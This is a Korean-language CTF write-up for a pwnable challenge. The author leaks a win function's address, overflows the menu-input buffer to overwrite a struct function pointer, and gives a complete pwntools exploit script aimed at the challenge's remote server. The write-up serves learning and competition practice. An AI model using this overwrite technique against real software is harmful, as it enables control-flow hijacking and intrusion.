문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
Analysis
Check Mitigation
Execution & Code
1번 메뉴를 선택하면 무슨 주소를 출력해 준다.
이 주소는 IDA에서 확인한 결과, win함수의 주소임을 알 수 있다.
win 함수는 아래와 같이 생겼다.
fawn.jpg를 화면에 출력해준다.
뭔가 이 사진에 flag가 저장되어 있을 것 같아서 이 함수를 최종적으로 실행시켜야겠다고 생각했다.
그리고 3번 메뉴에서 이 deliver 함수를 실행한다.
직감적으로(?) 이 함수 대신에 win함수를 실행해야겠다고 생각했고,
마침 디버깅하면서 확인해보니 s에 선택메뉴 번호 적을 때 s.fptr 영역을 덮을 수 있어서 그대로 바로 진행하였다.
Get Flag
from pwn import *
#p = process('./chall')
p = remote('35.224.135.84', 1001)
e = ELF('./chall')
p.sendlineafter('cmd> ', '1')
p.recvuntil('at ')
win = int(p.recv(14), 16)
log.info('win :: '+ hex(win))
payload = ''
payload += '3'
payload += 'A' * (25-10)
payload += p64(win)
#print len(payload)
pause()
p.sendlineafter('cmd> ', payload)
f = open('tmp.jpg', 'w')
tmp = p.recvuntil('1. List files.')
f.write(tmp)
f.close()
p.interactive()
출력되는 값이 사진 파일 값... ? 그런건데 그거를 tmp.jpg에 넣어줬다.
사진에 밑에 잘보면 flag값 적혀있다.
'CTF > Write UPs' 카테고리의 다른 글
[Hspace Open CTF] beat arm 풀이 (32bit arm, return to csu) (0) | 2022.01.17 |
---|---|
[THC CTF 2021] 내가 푼 문제들 풀이 (0) | 2021.06.17 |
[BCACTF 2.0 : binex] 내가 푼 문제들 풀이 (포넙 올클!) (예약글, 6/14 09:30 공개) (0) | 2021.06.14 |
[Dreamhack CTF Season 1 Round #5 : pwnable] linux_forest 풀이 (0) | 2021.06.07 |
[DCTF 2021 : pwnable] formats last theorem 풀이 (FSB, printf, malloc_hook) (0) | 2021.05.17 |